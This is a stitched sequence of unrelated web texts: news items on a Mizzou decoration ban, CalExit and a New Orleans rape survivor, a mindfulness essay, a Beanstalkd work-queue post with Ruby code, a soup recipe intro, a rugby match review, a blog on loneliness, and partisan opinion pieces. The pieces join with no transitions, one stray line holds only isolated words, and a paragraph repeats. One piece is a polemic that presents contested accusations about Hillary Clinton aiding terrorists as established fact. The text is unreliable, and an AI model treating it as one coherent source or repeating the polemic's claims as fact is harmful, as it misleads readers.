Julia Saba of SP Systems, Inc., and the NASA Goddard Space Flight Center in Greenbelt, Md., had yet another approach, turning to magnetic maps to track regional differences on the sun. Her approach accurately forecast the timing of the 2008 solar minimum 18 months in advance, she said, but acknowledged that the forecast had been revised from an earlier prediction. Based on current data, Saba said, the next solar cycle looks like it will be weak and prolonged. But that could all change—her predictions assume "that the sun doesn't change on us again."
Susan Even, the executive director of the University of Missouri Student Health Center, sent an email to staff members instructing them not to decorate their areas for the holidays in order to ensure a more “safe, comfortable place” for students.
An email obtained by MRCTV shows Even is concerned holiday decorations will “contradict” the mission of the student health center:
I’m aware that many of you are in the mood to decorate your areas with the holiday spirit in mind. However, after discussing it with ET, I’ve decided that holiday decorations will not be displayed this year. Our mission is to provide a safe, comfortable place for all students to receive their health care. Without meaning to, some of the holiday symbols that we may display could contradict that mission. As I announced last week, ET has created a new standing Committee on Diversity to help our center become more inclusive and culturally responsive. One of their tasks will be to help us with this very issue. I know this decision will be disappointing to some of you, but I can assure you that the kindness, warmth and compassion that you show all students is as important now as any time of the year.
Mary Jo Banken, the executive director for Mizzou’s news bureau, told MRCTV that she was not aware that the email was sent to staff members at the student health center.
Banken also was not familiar with the “ET” referenced in the email, and told MRCTV she does not know if other student services will be adopting similar prohibitions on holiday decorations.
This sensitivity toward accidentally offending people with holiday decorations comes after Mizzou’s former president Tim Wolfe was forced to resign amid claims that he did not do enough to address racism on campus. Wolfe has since been replaced with Interim President Michael Middleton.
SAN FRANCISCO, CA - SEPTEMBER 14: Executive Chairman of Hyperloop One Shervin Pishevar speaks onstage during TechCrunch Disrupt SF 2016 at Pier 48 on September 14, 2016 in San Francisco, California. (Photo by Steve Jennings/Getty Images for TechCrunch) less SAN FRANCISCO, CA - SEPTEMBER 14: Executive Chairman of Hyperloop One Shervin Pishevar speaks onstage during TechCrunch Disrupt SF 2016 at Pier 48 on September 14, 2016 in San Francisco, California. (Photo by ... more Image 1 of / 1 Caption Close #CalExit picks up steam with angry voters after Silicon Valley VCs pledge to fund campaign 1 / 1 Back to Gallery
The odds of a California secession is, legally and financially, extremely unlikely. However, after the results of Tuesday night's presidential election came in, the movement to coordinate such an exodus from the Union intensified.
Shervin Pishevar, a Silicon Valley venture capitalist whose company, Sherpa Capital, has invested in massive companies like Uber and Airbnb, announced on Twitter Tuesday that in the event of Trump win, he would be "announcing and funding a legitimate campaign for California to become its own nation."
When the election was called in favor of Trump, Pishevar started to explain his reasoning for his plan:
Soon after he tweeted, Path founder Dave Morin added that wanted to be involved as well.
"I was literally just going to tweet this," he wrote. "I'm in and will partner with you on it."
A previously announced campaign hoping to facilitate the secession of California from the United States, called Yes California, is gaining more steam with voters disappointed in the results of the election. The group is holding a meet up Wednesday, November 9, at the steps of the State Capitol in Sacramento.
By Jon Andre
I was a self-improvement junkie for many years.
From my early days reading the classics on positive thinking to my later years listening to the guidance of modern-day gurus, I’ve always been driven by the desire to improve and – to quote a popular phrase – “be my best self.”
One thing always perplexed me though. I knew people who had very little, but were extremely happy. And I knew people who seemingly had everything, but appeared miserable.
As such, the driving question for me was “What determines the quality of our lives?”
I never found the answer in the self-improvement section. Sure, all the resources preached that money doesn’t buy happiness – most of us learn that early on, whether we choose to embrace it or not.
As far as affecting the quality of life, however, those resources focused on changing your attitude and thought processes. And, they supplemented that strategy with a healthy dose of motivational platitudes.
I tried to change my attitude and thought processes. I repeated affirmations, and attempted to selectively think good thoughts and suppress bad ones. And, I love motivational platitudes as much as the next person – I hung posters above my desk, and watched videos to get myself “fired up.”
At times, some of it would even change my state. But those changes never lasted long.
It wasn’t until I started practicing mindfulness and meditation that I finally discovered the answer to my question: it doesn’t matter what you have or do, your life is no better than your relationship with your mind.
Notice I didn’t say “your life is no better than what kind of thoughts you have.” I’m not making an argument for positive thinking, although I do encourage people to surround themselves with positive influences.
To the contrary, attempting to control what kind of thoughts you have is an exercise in futility. That’s why there are so many self-improvement books – new ones keep coming out because the old ones don’t work. And, people keep buying them hoping they will finally discover the secret. But, the new books usually re-package the same ineffective concepts.
It’s a profitable business – in a 2013 study, Marketdata Enterprises estimated the self-improvement market to be over $10 billion/year. And, that’s just in the United States.
There is no secret to be discovered in those billions of dollars worth of resources though. They all focus on changing the content of your mind, but the content doesn’t matter. It’s like treating the symptoms while ignoring the root cause.
The “root cause” is our minds themselves, and what matters is that we stop blindly following them wherever they lead.
Have you met your mind?
Our minds are compulsive, and they are always going. They constantly produce thoughts, emotions, and urges, all of which lead to our decisions, actions, and reactions. This process usually happens without much conscious intervention from us. We tend to go through most of our day on autopilot – if “x” happens, we do “y.” If someone says “this,” we respond with “that.”
As such, our minds shape our lives – what we say, what we do, and how we interact with and treat everyone and everything (including ourselves).
If you bring awareness to your mind and its activity, however, you are no longer blindly following it. You do this through mindfulness and meditation. I discovered that over 20 years ago, and it marked the end of my love affair with self-improvement.
For the past 12 years, I’ve been teaching others. And, whether it’s in my own life or the lives of my students, the benefits of developing a consistent meditation practice and bringing mindfulness to your daily life are compelling.
In short, mindfulness and meditation help you develop the skill of observing your thoughts, emotions, and urges without getting caught up in them. When you are able to watch the activity of your mind from a neutral perspective, you can choose where to focus your attention. At that point, your mind becomes a tool: you use what you need, and let what you don’t need pass by.
Contrast this approach with attempting to control what happens in your mind. If you go down that path, how do you react when your efforts are met with the opposite of what you are trying to accomplish? Negative thoughts will arise no matter how hard you work to keep them at bay. And, forcing yourself to think positive thoughts through repetition (or, sheer will-power) takes a lot of effort and returns limited, temporary results at best.
Failed attempts to make your mind act a certain way lead to frustration and despair. You are doing the equivalent of closing your eyes, covering your ears and saying “you’re not there, you’re not there, you’re not there.” But, when you open your eyes and uncover your ears, all of it is still there waiting for you.
When you practice mindfulness and meditation, a key realization you eventually have is “thoughts are just thoughts.” They are temporary phenomena; you can watch them as they come and go, like clouds moving across the sky. Unless you try to control them by clinging to certain ones and pushing away others.
“Clinging to” and “pushing away” cause you to suffer because these very acts ignore the temporary nature of the thoughts you are trying to cling to or push away.
Nonetheless, all of us feel the need to try and control. This need reminds me of a story about a grandfather talking to his grandson, discussing the fight (internal struggle) going on inside all of us. The fight is between two wolves – one good, representing what we consider positive aspects of the mind. One bad, representing what we consider negative aspects of the mind.
The grandson asks which wolf will win, and the grandfather replies “The one you feed.” The grandfather’s answer reflects this fallacy of control – it assumes we can force ourselves to think what we label “good” thoughts, and not think what we label “bad” thoughts. Our minds don’t work that way, however.
In fact, the act of trying to suppress certain thoughts makes them more likely to occur – it’s called the ironic process theory.
So, contrary to the grandfather’s advice, don’t feed (cling to) the good wolf and starve (push away) the bad wolf. You’ll just make the bad wolf more driven by your attempts to deny it, thus perpetuating what you wanted to end in the first place.
Moreover, you can’t have one without the other – the good wolf doesn’t exist without the bad wolf. They are two sides of the same coin. Yin and yang.
There’s a better answer to the grandson’s question: recognize and accept everything that exists, and view it all with equanimity. That’s how you stop the internal struggle.
Practical advice
If you are looking to improve the quality of your life, you can spend years wading through a sea of information like I did.
Or, you can set aside the self-improvement books and forced positive thinking, and focus on understanding your mind and how to overcome the problems it creates.
If your life is no better than your relationship with your mind, change that relationship. Here’s how:
• Accept it as it is – good wolf, bad wolf…whatever exists in the moment.
• Cultivate awareness of your thoughts, emotions, and urges, as well as that inner narrative (the “voice in your head”) that comments on everything.
• Develop the skill of observing all this activity without getting caught up in it.
• Choose where to focus your attention, and take your life off autopilot. With increased awareness, you have the ability to stop blindly following your mind wherever it leads.
• Use what you need for better decisions and more skillful actions and reactions, and let the rest pass (like clouds moving across the sky).
Those steps are the essence of mindfulness and meditation.
I learned a long time ago to view my mind as a tool. I don’t need to control it, I just need to stop letting it control me. But don’t take my word for it – with a little practice, you can discover the same for yourself.
Monday was supposed to be the day Donald Trump cleaned up his white supremacy mess in the wake of the violence in Charlottesville, Virginia. Instead, he just made it worse with a series of baffling and disturbing outbursts that lent further credence to critics who view him as a racist sympathizer.
The stunning missteps included lashing out at a prominent black CEO; offering a pardon to a racist, birther sheriff convicted of criminal contempt; and then going on Twitter and boosting the profile of a prominent “alt-right” hate figure who was hyping a favorite right-wing theme about black crime in America.
All of this unfolded while Trump reluctantly, belatedly, and petulantly read prepared comments off a teleprompter about how “racism is evil.” But Trump’s actions yesterday spoke louder than his words.
Trump only found himself in trouble because, incredibly, he’d failed to condemn heavily armed Nazi and Klan sympathizers who rampaged in the streets of Charlottesville on Saturday. Rather than calling out of the raw hate on display, Trump stood muted, managing only to decry violence “on many sides.”
After an avalanche of criticism, from everyone from German Chancellor Angela Merkel to the editors of the New York Post, the White House set out to right the wrongs, but Trump and his race-baiting behavior kept getting in the way.
In the morning, Trump lashed out at Merck CEO and chairman Kenneth Frazier after he announced he was resigned from Trump’s “American Manufacturing Council” because of Trump’s lack of moral leadership over the weekend.
Following Frazier’s lead, the CEOs of Under Armour and Intel both announced they were quitting Trump’s manufacturing initiative and for similar reasons. Both men are white, but neither has been attacked by Trump on Twitter for their decision to quit.
Monday afternoon, word got out that Trump had told Fox News that he was considering granting a pardon to Arizona Sheriff Joe Arpaio, who was recently found guilty of criminal contempt for defying a judge’s order that Arpaio stop using racial profiling in traffic stops. A proud birther, Arpaio once bragged, “I feed the dogs better than the inmates.”
Note that Trump is following the lead of neo-Nazis who have publicly called for Arpaio to be pardoned.
Capping off the extraordinary race-baiting day, Trump retweeted a post from a notorious “alt-right” leader, Jack Posobic, who previously pushed the PizzaGate and Seth Rich conspiracy theories. In the past he’s also been an ally of Richard Spencer, a key player in Saturday’s violent white supremacy march. Posobic “is currently helping organize multiple alt-right rallies similar to the one in Charlottesville in cities throughout the U.S. this coming weekend,” Newsweek reports.
The tweet of Posobic’s that Trump boosted to his millions of followers Monday night was about Chicago crime. The dog-whistle topic has long been a favorite within the right-wing media, as conservative strive to portray crime as being synonymous with black America.
If you like a hearty bowl of ham and beans, you’ll like this ham and bean soup with a southern twist.
Lorna Sass is a highly acclaimed expert on pressure cookers. Her cookbook Cooking Under Pressure is the first pressure cooker cookbook I bought. This recipe is adapted for the electric pressure cooker from Cooking Under Pressure.
My mom cooked ham and beans fairly often growing up. This southern style ham and beans substitutes black-eyed peas and okra. Black-eyed peas cook in only 10 minutes in the pressure cooker and the okra thickens the soup without using any additional thickeners.
It’s a quick, inexpensive meal. If you’re having ham for Easter, save your ham bone to make the soup.
Making Quick Black-Eyed Pea Soup in an Instant Pot
Muslim
Gujarati
NOC
Any web application that reaches some critical mass eventually discovers that separation of services, where possible, is a great strategy for scaling the service. In fact, oftentimes a user action can be offloaded into a background task, which can be handled asynchronously while the user continues to explore the site. However, coordinating this workflow does require some infrastructure: a message queue, or a work queue. The distinction between the two is subtle and blurry, but it does carry important architectural implications. Should you pick a messaging bus such as AMQP or XMPP, roll your own database backed system such as BJ, go with Resque, or evaluate the other three dozen variants available in every conceivable language?
Of course, there is no single answer to that question - it depends on your application. AMQP is a great power tool for message routing, but there are other systems that can do a better job at specific tasks. One of such tools is Beanstalkd, which is a simple, and a very fast work queue service rolled into a single binary - it is the memcached of work queues. Originally built to power the backend for Causes Facebook app, it is a mature and production ready open source project. It just seems that not too many people talk about it, perhaps exactly because it works so well.
Beanstalkd Features & Recipes
Adam Wiggins recently published a great comparison of Beanstalk to a few other work-queue services, and speed is where it stands out. A single instance of Beanstalk is perfectly capable of handling thousands of jobs a second (or more, depending on your job size) because it is an in-memory, event-driven system. Powered by libevent under the hood, it requires zero setup (launch and forget, ala memcached), optional log based persistence, an easily parsed ASCII protocol, and a rich set of tools for job management that go well beyond a simple FIFO work queue.
Out of the box, Beanstalk supports multiple 'tubes' (work queues), which are created and deleted on demand. In turn, each job is associated with a single tube, and has a number of parameters: priority, time to run, delay, an id, and an opaque job body itself.
Once a job is inserted into the work queue, the server returns an ID, which we can use to inspect the job. From there, the queue itself is actually a priority heap! Need to jump a head in line? Set a higher priority on the job and Beanstalk will do the rest. Or, what if your worker goes down while processing a job? Because you specified a time to run on the job, Beanstalk will monitor the checked out job and put it back on the work queue if the timeout expires - seamless recovery, nice. Does the worker need more time to complete the job? There is a 'touch' command to notify the server to prolong the timeout. Have a bad job that you want to save for later inspection? Just bury it and take care of it later. Need to throttle all of the workers? You can pause the tube for a specified period of time. And there is more, do checkout the protocol specification.
Beanstalk at PostRank: Chronos
At PostRank we have dozens of Beanstalk processes sprinkled throughout which are being used for job management within the same machine and coordination between entire clusters. The larger deployments, which are the front-line coordinators to our crawlers are serving 50+ million jobs on a daily basis (average job is several kb), without breaking a sweat. On average, each job is just several kilobytes, but the numbers add up, meaning that a pure memory system would require 60GB+ of RAM to make it work for our use case. That is where the Beanstalk ASCII protocol, good old MySQL, and a little Ruby come together to create our scheduling system: Chronos.
The idea behind Chronos is based on a simple observation: we have tens of millions of crawler jobs, each of which is repeated on a custom interval, but only a small portion of that entire set needs to be in memory to make the system run! So, out of that observation, two projects were born: em-jack and em-proxy. EM-Jack is a Ruby Eventmachine client, which provides a simple mechanism to define custom command handlers that go beyond the native Beanstalk protocol. On the other hand, em-proxy is a protocol agnostic (layer 3) proxy, which allows us to intercept any TCP data stream and manipulate it at will.
So, instead of talking directly to Beanstalk, all the traffic is routed through our custom em-proxy (~150 LOC) which parses the Beanstalk protocol, intercepts custom commands, or simply inspects the "delay" parameter, and decides where the job should be routed: beanstalk or the MySQL instance. Jobs that are scheduled at least one hour into the future are persisted into the database, which significantly reduces the memory footprint. Finally, in the background, the upcoming jobs are silently loaded into beanstalk as their execution time approaches. Simple, reliable, scales well, and it gives us all the features available in Beanstalk for job management and coordination (plus persistence and replication of MySQL). A quick API demo:
EM . run do jack = EMJack :: Connection . new r = jack . put ( "my message" , :ttr => 300 ) { | jobid | puts "put successful #{ jobid } " } j = jack . reserve j . callback do | job | puts job . jobid puts job . body jack . delete ( job ) { puts "Successfully deleted" } end end
em-jack - An evented beanstalk client
Architecture Limitations and Alternatives
A New Orleans woman who survived being drugged and raped was recently re-victimized when someone posted fliers blaming her for changes to a clothing-optional policy at a local pool.
Earlier this year, Maria Treme went public with her story of being raped at The Country Club’s pool in the Bywater neighborhood.
“I woke up, I had bruises, I didn’t know where they came from and I immediately knew I was roofied because I know how much I had to drink, I know how much I can drink and there was zero memory, nothing,” she told WWL-TV at the time.
After reviewing surveillance footage from the club and speaking to eyewitnesses, she was shocked to discover that she had sex with at least three different men, two at the pool and one at her home.
Treme notified police, but officers waited hours before initiating a rape kit, making toxicology screening useless.
“When the (nurse) told me the half-life of a roofie, I checked the time and I said, ‘It’s almost 24 hours,'” one of Treme’s friends explained to WWL-TV in July. “I’m thinking, ‘It’s not gonna be in her system.’ And if it’s not in your system, well there’s the evidence. Your case is closed. They could see someone drop something in your drink and you can’t prove anything. There is no evidence.”
After Treme went to WWL-TV to expose how the NOPD had bungled the case, authorities eventually ordered an end to the “clothing-optional” policy at The Country Club.
Treme, who suntans in the nude and participates in the World Naked Bike Ride, said that she disagreed with that decision.
But over the weekend, someone began posting fliers around the Bywater neighborhood with her face that blamed her for the policy change.
“No evidence of rape,” the flier reads in large letters.
“They’re upset that they can’t nude sunbathe and so they decide to attack a rape victim and that’s disgusting,” Treme’s attorney, Aubrey Harris, told The Times-Picayune.
“As far as I am concerned, to take the nudity away from there is more victim blaming and shaming,” Treme insisted, adding that rape victims could fear coming forward after seeing the way the case was handled.
“If you’re mugged in the street, you call the cops,” she said. “Why is it different if you are a rape victim? What is the stigma attached to being raped that you have to remain silent? I’d like to see that change.”
Family Justice Center’s Executive Director Mary Claire Landry pointed out that officers often mistakenly believed that women were gaining an advantage by claiming rape.
“I can tell you, what women or victim would go through this if it weren’t true?” she asked. “We just have to change the values of men and perspectives… I think we have a very sexualized culture and a lot of times kids just hear messages that women are products and just images of manipulation and we should be able to treat them how ever we want.”
For its part, The Country Club has denounced the fliers and expressed support for Treme.
“We’re very upset and oppose the fliers,” the statement said. “Under no circumstances do we support personal attacks and hateful language. Never. Especially in this circumstance. Those actions violate the very spirit of The Country Club and the people here.”
“To say that nobody can get naked anymore, in my eyes, is just more victim-blaming,” Treme pointed out to The Times-Picayune. “It’s just like saying, ‘What did she expect when she was dressed in that short skirt or her boobs were out?'”
“Rape has nothing to do with being naked or the clothes you wear,” she added. “I feel like them going after the nudity policy is further sending out a bad message.”
Mujahadeen E-Khalq (MEK), or the People’s Holy Warriors, is a strange sect of “Islamic Marxists” that was founded in Iran. The group murdered many Iranians during the 1970s as well as a few US citizens. When Iran had its Islamic revolution in 1979, the MEK was at first hopeful that it could become the new ruling party. However, as it began to lose out during the triumph of Khomeini, MEK responded with a campaign of violent terrorism against Iranian government officials. Over 70 members of the Iranian parliament were killed when MEK bombed a meeting of the Islamic Republican Party.
De-Listing the Mujahadeen E-Khalq
MEK eventually made friends with Iraqi dictator Saddam Hussein, who directed MEK members to go on a killing spree throughout the Iranian countryside during the Iraq-Iran war. Divisions of MEK fighters calling themselves the “Iranian National Liberation Army” destroyed the village of Eslamabad-e Gharb, slaughtering a large number of civilians in the process.
After the Iraq-Iran war, MEK relocated to Iraq where Saddam Hussein utilized the MEK fighters to exterminate Kurds. The total number of innocent people killed by MEK over the years probably numbers in the tens of thousands.
Internally, the organization of MEK terrorists functions as a bizarre cult. Massoud Rajavi, the group’s founder, is worshipped like some kind of prophet, and has been in hiding since 2004. His spouse, Maryam Rajavi, has declared herself to be the president of Iran, and gives many proclamations from exile in France. Human Rights Watch reports that within its various camps, MEK routinely tortures prisoners and subjects its followers to the death penalty if they violate its strict regulations.
In September of 2012, then-Secretary of State Hillary Rodham Clinton officially removed MEK from the list of designated terrorist organizations. Because of this designation by Rodham Clinton, it is now legal for anyone in the United States to provide material support to the MEK terrorists. MEK has continued its shady relationship with Rudy Giuliani, Tom Ridge, and a number of other politicians.
Clinton justified her decision to legalize a group of mass murderers by saying that MEK had “denounced violence.” Around the very time she said this, MEK leaders assassinated peaceful scientists in Iran in collaboration with Israel. MEK still calls for the violent overthrow of the Iranian government, and has even made statements supporting ISIS. MEK is known to have a number of agents, currently in Iran, who have attempted to assassinate government officials and done many other things to destabilize the country.
A Soft Spot for Boko Haram
The other legally designated terrorist organization that Rodham Clinton apparently has a soft spot for is Boko Haram. Nigeria has been battling against this violent insurgency since 2002. Recently, Boko Haram declared itself to be the African wing of ISIS. However, Rodham Clinton flatly refused to list Boko Haram as a foreign terrorist organization.
Boko Haram was finally declared to be a terrorist organization in 2013 after the group had been killing people for over 11 years. The US media suddenly became concerned about Boko Haram after a bizarre social media campaign called “Bring Back Our Girls.” Since the “Bring Back Our Girls” media crusade, the US has escalated its military presence in Nigeria, and drones are flying over the country’s skies.
The People’s Republic of China has provided a huge amount of aid to Nigeria to fight against Boko Haram. China has provided a large amount of weapons and even donated an entire warship to the Nigerian military. Nigeria’s newly elected President, Muhammadu Buhari, has scored more victories against Boko Haram in the last few months than the US and Shell Oil-supported leader Goodluck Jonathan did in the last ten years.
Rodham Clinton’s supporters give many excuses for her apparent soft spot for Boko Haram. They say it is an “internal threat” in Nigeria, not an international threat, thus disqualifying it as a “foreign terrorist organization.” This is false, as the group is operating not only in Nigeria but also in Chad and Cameroon. Boko Haram’s source of funding is unknown, but is widely suspected to be coming from outside the country.
Rodham Clinton’s supporters also claim that her refusal to list Boko Haram was based on fears that it would justify “human rights violations” by Nigerian leaders. This is a very strange reason for not listing an organization as a “foreign terrorist organization.”
The Israelis are known around the world for violating human rights, but the US State Department lists a number of Palestinian organizations as “foreign terrorist organizations.” The government of the Philippines is known for torturing and slaughtering civilians, but the United States still lists the New People’s Army of the Philippines as a terrorist organization. Almost every “terrorist organization” on the official state department list works in opposition to a government that has violated human rights. This concern about “human rights” seems to be selectively applied to Nigeria as the country grows closer to China each day.
Gulf State Autocrats and Terrorists
Rodham Clinton’s apparent infatuation with two organizations that were officially designated as foreign terrorists is really about oil. The MEK terrorists are seeking to violently overthrow the Islamic Republic of Iran. Iran is an oil-producing country with an anti-imperialist government. Iranian oil is nationalized, and utilized to fund an independent economy.
Boko Haram is working to destabilize Nigeria. Nigeria is getting closer to China, and has become the top oil-producing country in Africa, since the violent destruction of Libya by US/NATO bombs.
Nigeria and the Islamic Republic of Iran are both oil-exporting countries that function as competitors to the US-aligned Gulf states in the Middle East. Saudi Arabia, United Arab Emirates, Qatar, Oman, and Bahrain are all US-aligned Gulf states. Their resources are controlled by Wall Street and London-based oil corporations. The more that Iran and Nigeria can be destabilized and inhibited in their ability to export, the more profits Wall Street and its Arab vassals can make.
The Wall Street-controlled Gulf states are all absolute monarchies. Saudi Arabia beheads and tortures people routinely, as does Qatar and the United Arab Emirates. These countries are major purchasers of US weapons. Saudi Arabia now has the fourth-largest military budget of any country in the world, and its weapons are purchased exclusively from the United States.
Rodham Clinton has directly received millions of dollars from the US-aligned Gulf state autocracies. Rodham Clinton’s personal foundation was exposed to have received between $10 and $25 million from Saudi Arabia, between $1 and $5 million from Qatar, between $1 and $5 million from the United Arab Emirates, and between $1 and $5 million from Oman.
This money was used so Rodham Clinton could go on luxury trips and enjoy other perks. The Washington Post wrote: “No presidential candidate can justify a conflict of interest of this magnitude; it is not merely the appearance of conflict but actualconflict of interest.”
The Gulf state autocracies that provided millions of dollars in funding to Rodham Clinton also have their own links to terrorism. They have all poured millions of dollars into the Al-Nusra Front, the Free Syrian Army, and other takfiri insurgents that seek to violently overthrow the Syrian government.
Osama Bin Laden himself was very well connected within the influential circles of the Saudi regime. The 28 redacted pages of the 9/11 report contain information about the Saudi government. From federal prison, Zacarias Moussaoui, who was convicted for allegedly being a co-conspirator in the 9/11 attacks, has claimed that the Saudi royal family was involved.
In 2014, Iraqi President Nouri Al-Maliki declared to the world that ISIS was a Saudi-funded operation. He was deposed shortly afterward.
Spreading Terrorism Across the World
The US military’s overthrow of governments in Afghanistan, Iraq, and Libya — all of which Rodham Clinton supported and directly enabled — resulted in a vast expansion of terrorist organizations. Afghanistan is now a haven for terrorist groups. A key source of terrorist funding, heroin production, was once suppressed by the Taliban. Modern Afghanistan is now home to a large number of poppy fields, and is the center the global heroin trade.
Iraq, once a somewhat stable country, is now home to a number of Takfiri extremist groups like ISIS. Shia communities in Iraq have formed militias to protect themselves from a wave of Sunni terrorism. Funding for violent Sunni factions in Iraq often comes directly from Saudi Arabia. Millions of Iraqis have died in the wave of instability and terrorism that followed the US invasion.
Rodham Clinton gleefully laughed and said, “We came, we saw, he died” in reference to the gruesome murder of Libya’s President Moammar Gaddafi. Since the US/NATO overthrow of the Libyan government, that country has also become a haven for terrorism.
Violent factions among the western-supported “Libyan rebels” now chaotically battle each other for power. Libyans are being recruited and taken to Syria to fight against the Syrian government. ISIS is now present in Libya, and conditions in what was once the most prosperous African country have become so bad that Libyans are packing into ships and drowning in the Mediterranean trying to flee it.
Rodham Clinton, like all major politicians in the United States, is an agent of big money. Terrorism in the Middle East and other parts of the world is highly beneficial to the rich and powerful.
Throughout her career as a politician, Rodham Clinton has worked to the direct benefit of terrorist organizations. She is financially tied to autocratic Gulf state monarchies that support terrorism. Clinton functions on behalf of Wall Street oil corporations which benefit from spreading instability around the world, especially in areas that are starting to develop independently.
Don’t be fooled by her campaign rhetoric. Clinton’s long record in the service of terrorism speaks for itself.
You’d be hard pushed to deny that Scotland deserved that win. Over a year down the line, Cotter’s Scotland has improved drastically, regularly putting out good performances, only to fall short because of basic mistakes. With reference to this weekend, Scotland played over fifteen minutes missing a man, thanks to yellow cards for Finn Russell and WP Nel. They were under immense pressure, but they they finally managed to pull of that illusive win, winning their first Six Nations game following a run of ten consecutive defeats in the competition.
As I predicted before the game in my article on ‘Scotland Rugby News’, this was a game won off the back of a strong scrum. We know that since Nel came along the Scotland scrum is stronger than it’s been in a long while, but I for one wasn’t expecting dominance to the extent we saw this weekend. Scotland won all seven of their scrums and turned over two Italian ones. Then you factor in the scrum penalties that Italy were conceding too and it doesn’t make kind reading for the home side. Even with the most talented backs in the world, without a strong scrum platform to work from, you’re always going to struggle.
Defensively Scotland played well. To start with the positives, Scotland defended valiantly for a large part of the second half, ending the game with nearly double the number of tackles and a success rate of 88%. Italy were bashing away at the line in the second half and it only gave once, just after Russell’s yellow when Marco Fuser crashed over. However, the rest of the time Scotland stayed strong, despite the Italians boasting 72% possession and 76% territory in the second half. The main areas they will be disappointed with is how they kept the Italians in the game from the restart. Sergio Parrisse and Italy’s out-half, Kelly Haimona, linked beautifully on a number of occasions for Italy to regather the ball immediately from the kick, giving them possession in a handy area of the field and getting them on the front foot immediately. This was a big contributor to the possession and territory stats. Scotland’s most concerning defensive slip was for Italy’s first try. Scotland often defend with an aggressive ‘blitz defence’, which is excellent if you wrap ball and man up. However, on this occasion, Gonzalo Garcia the ball got away to Leonardo Ghiraldini who duped Stuart Hogg with a dummy and crossed the line for a well worked try. The ball has to be secured if blitz defence is going to be effective.
In attack other than perhaps the first try, Italy were poor. With the figures mentioned above, they should have broken the Scottish line more often. With two yellow cards, it seemed as though Scotland may have had their second-half melt down and were going to gift the win to the Azzurri. However, other than Fuser’s try, Italy failed to convert possession into points. That’s not to take away from Scotland’s defence, but other sides would have taken advantage of those opportunities you feel. Scotland on the other hand came out of the gates flying. Hogg was crucial, setting up two tries, one for Barclay and another for Tommy Seymour. Ryan Wilson was promoted to the starting XV after a late David Denton injury and was excellent, both in getting the Scots onto the front foot, but also in getting away a brilliant final pass to put John Hardie in for Scotland’s second try of the day. John Barclay was also ever present and cut a beautifu line for the first try of the fixture.
It’s also worth giving credit to Josh Strauss- he came on from the bench, drafted into the side at the last minute, despite having played a key role as Glasgow Warriors saw of Newport Gwent Dragons on Thursday evening.
With reference to the man of the match award, I wouldn’t say that Greig Laidlaw didn’t deserve it. He rallied his troops, kicked his kicks and spread the ball wide in the lead up to Scotland’s last try, instead of playing it safe throught the forwards. However, Parisse was outstanding. I would even go as far as saying it was one of his best matches in an Italian shirt. He was central to Scotland’s problems at the restart, made a couple of brilliant runs, took quick ball from penalties and at times (as pointed out by the commentators) even appeared to be dictating what the backs did. Laidlaw was great, but I think Parisse can feel hard done by. That said, Parisse would probably rather a win than another man of the match award.
This positivity has to be backed up. If Scotland fail to overcome a very poor French side at Murrayfield in two weeks it will make this game just another fifth/sixth place play off. The French will bring physicality. However, if Scotland’s scrum works again and they trust their systems, they can realistically travel to Ireland on the final week with the wind in their sails and hunting for a third win. But that all depends on them beating the French. With away games to Wales and Ireland left, the outlook looks bleak once again for the Azzurri.
Unfortunately I didn’t get to see enough of the England or Wales games to comment this week.
You can watch the extended highlights from Rome, here.
Official match statistics are available here.
As always, don’t forget get in touch with any advice or comments. A link to my twitter feed is at the bottom of the page.
The Scribbler, February 28th, 2016
Twitter-@RugbyScribbler
Brad Bollenbach Blocked Unblock Follow Following Aug 3, 2009
If you got the skin to be rejected 800 times in a row, 801 is gonna be a crazy play.
— Social Media Entrepreneur Gary Vaynerchuk, describing the Hot Girl Rule (~45:10)
Having travelled and moved around a lot in the past several years, I’ve been through a number of social resets. I like exploring the world, so my reasons for moving have a lot less to do with jobs, family, and other social connections, and a lot more to do with adventure. I am addicted to culture shock.
But my reasons for starting over have not always involved relocation. Sometimes I’ve just fallen out with a few key people and find myself, socially speaking, back at square one.
This is not an easy place to be. I think I spent my first year in Montreal just feeling sorry for myself: Why is it so hard to meet people? Why can’t I just find a girl who loves me? Why can’t there be someone out there who worries about me?
It was around that time, a little over four years ago, that I realized that self-pity is self-destruction. The reason it was so hard to meet people was because all I did was sit on my own ass and whine — to myself — about how hard it was to meet people. The reason I was single for the first year I lived in Montreal was because I rarely went out. Except maybe for a walk to contemplate how lonely I was.
Having been through this experience many times, I eventually forced myself to adapt. Blaming the world for problems I created was just not a long-term option. I realized that this feeling that “nobody cares” wasn’t what caused my loneliness. Far from it. In fact, it was only by truly understanding that nobody cares that I was able to finally make sense of my social life issues, and figure out how to solve them.
Why Meeting People Is Hard
Building your social life is a lot like building a business. The currencies are different, but the mechanics are similar.
The startup entrepreneur starts out in a war against indifference. But those that succeed at attracting customers do well because they know this: Nobody cares. Nobody cares about your architecture. Nobody cares about your website. Nobody cares that you’ve reached Inbox Zero. Nobody has even heard of the event at which you won that award. Nobody knows that you have something for sale. And even if they do, they probably still don’t care.
And the same principle applies for startup socialites as well: Nobody cares.
Nobody knows that you exist. Nobody wants to meet you. Nobody cares that you are interesting to talk to. Nobody is going to coax you out of hiding. And that bikini-clad babe who just moved in next door? Borrow some sugar? Bottle of wine? Night of unbelievable sex?
Uh, no.
“Nobody cares” is not meant to be cynical or patronizing. Rather, it is a natural byproduct of the scale of humanity. In business, your potential customers just have so much stuff to choose from that they can’t possibly notice more than the tiniest fraction of what is out there. They might not even realize that they “need” what you are selling, and even if they’re aware of their need, they may not understand that your product fulfills it.
In social spheres, the barriers to entry aren’t nearly as high, but there are similar forces — and similar filters — to contend with. Overcoming loneliness means fully accepting that these forces exist and working with them, instead of against them.
So how does “nobody cares” translate from a reality check for entrepreneurs to a wake up call for expanding your social life? Here are some thoughts:
Don’t buy the rhetoric that “it’s hard to meet people” where you live. Those are the words of an energy vampire. That’s like a business owner saying “it’s hard to find customers in this city.” Of course it’s hard. It’s hard to find customers in any city. Welcome to Planet Earth. Population: 6.7 billion. Retaining one’s sanity here requires an unconcern for the vast majority of things. And — by default at least — that includes you.
that “it’s hard to meet people” where you live. Those are the words of an energy vampire. That’s like a business owner saying “it’s hard to find customers in this city.” Of course it’s hard. It’s hard to find customers in any city. Welcome to Planet Earth. Population: 6.7 billion. Retaining one’s sanity here requires an unconcern for the vast majority of things. And — by default at least — that includes you. 80% of businesses fail. Which means that 80% of the time, indifference wins . If you’re hitting it off with more than 20% — even 10% — of the people you make contact with, I have only two questions for you: 1. How are your writing skills? 2. Wanna write a guest post?
